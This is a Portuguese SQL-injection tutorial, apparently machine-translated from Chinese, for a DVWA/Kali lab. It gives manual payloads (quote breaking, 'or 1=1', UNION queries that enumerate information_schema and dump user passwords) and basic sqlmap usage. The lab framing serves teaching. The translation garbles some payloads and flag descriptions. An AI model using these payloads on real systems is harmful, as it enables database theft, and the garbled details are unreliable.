Segurança do servidor de aplicativos da Web (vulnerabilidade de upload de arquivo, vulnerabilidade de inclusão de arquivo)
Segurança do cliente Web (ataque entre sites XSS)
2. injeção de SQL
2.1 Introdução à injeção de SQL
Injeção de SQL está no topo da lista de problemas de segurança
O ataque de injeção de SQL ocorre quando os parâmetros de entrada não são filtrados e, em seguida, inseridos diretamente na instrução SQL para análise.
A injeção de SQL é uma técnica de ataque que adiciona código SQL aos parâmetros de entrada e o passa ao servidor para análise e execução.
2.2 Princípio de injeção SQL
O invasor envia caracteres maliciosos na página
O servidor não filtra os parâmetros enviados ou a filtragem é insuficiente.
Os invasores usam instruções SQL para obter informações confidenciais do banco de dados
2.3 Perigos da injeção de SQL
Vazamento de banco de dados
Os dados do usuário foram comprados e vendidos ilegalmente
Comprometendo a segurança de aplicativos da web
2.4 Método de implementação de injeção SQL
Manual
Encontrar: ponto de injeção
Entrada: sintaxe de combinação de injeção comum SQL para injeção
automático (ferramenta)
Ferramenta: Procure pontos de injeção
Entrada: tente automaticamente várias combinações de sintaxe
3. Configuração do ambiente
Máquina virtual VMware 3.1
3.1.1 Função
Software de máquina virtual, você pode usar software para instalar vários sistemas operacionais virtuais (Linux, Windows) em máquinas físicas
3.2 Drone alvo (aprendendo a usar o ambiente do projeto)
efeito
Um sistema de máquina virtual Linux Alguns aplicativos da web com vulnerabilidades conhecidas são instalados nesta máquina virtual para facilitar o aprendizado.
3.3 Máquina de penetração (aprendendo a atacar o ambiente de injeção sql)
efeito:
Kali contém centenas de ferramentas que podem ser usadas para diversas tarefas de segurança da informação, como testes de penetração, pesquisas de segurança
4. Injeção manual
4.1 Preparação do ambiente
Descrição: Pratique a injeção manual por meio do aplicativo web do drone etapa:
Iniciar drone alvo OWASP
Acesse o drone através de um navegador
Visite o projeto OWASP-dvwa
Conecte-se
Selecione o aplicativo de injeção SQL
4.2 Encontre o ponto de injeção
Nota: Use principalmente aspas simples e caracteres de escape, principalmente aspas simples princípio:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 OU Lógico
4.4 Adivinhe o número de colunas
por sindicato
' unionselect1,2#
1
2. Por OU lógico
'or1=1#
1
4.5 Obtenha bancos de dados, tabelas e colunas
Obtenha o nome do banco de dados
' unionselect1,database()#
1
Obter mesa
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Obter coluna
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Obtenha dados
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 função concat
Função: Unir várias strings em uma string Sintaxe: concat(str1,str2,…) Exemplo:
Obtenha user_id, usuário, senha da tabela de usuários e exiba-os em duas colunas
' union select user,concat(first_name,'',last_name,' ',password)from users#
1
5. Injeção automática
5.1 Introdução à injeção automática
Nota: A injeção automática refere-se ao uso de ferramentas em vez de trabalho manual para concluir as operações de injeção de SQL. Ferramenta: sqlmap
5.2 Injetar automaticamente o ambiente
Inicie o drone
Inicie a máquina de penetração
5.3 mapa sql
Ferramenta: sqlmap
Uma ferramenta de teste de penetração de código aberto
Detecte e explore automaticamente vulnerabilidades de injeção de SQL e assuma o controle de servidores de banco de dados
5.3.1 Uso básico do sqlmap
parâmetro
-u: verifica o URL de destino
–batch: processa automaticamente informações de prompt
–cookie: parâmetros adicionais de cookie
etapa
Ponto de injeção de digitalização
Obtenha o nome do banco de dados
Obtenha o nome da tabela
Obtenha o nome do campo
recuperar dados
Como precisamos fazer login, primeiro obtemos o cookie da página logada Então comece a escanear o ponto de injeção Injeção bem sucedida
5.3.2 sqlmap obtém o nome da biblioteca
– current-db: consulta o nome do banco de dados usado pela web atual -D: aplica o banco de dados especificado resultado da operação:
5.3.3 sqlmap obtém tabela
– current-db: consulta todos os nomes de tabelas na biblioteca especificada (você precisa usar -D para especificar o nome da biblioteca primeiro) -T: Especifique a tabela
resultado da operação:
5.3.4 sqlmap obtém colunas
– colunas: consulte todos os campos da tabela especificada (você precisa usar -T para especificar o nome da tabela primeiro) -C: Especifique o nome do campo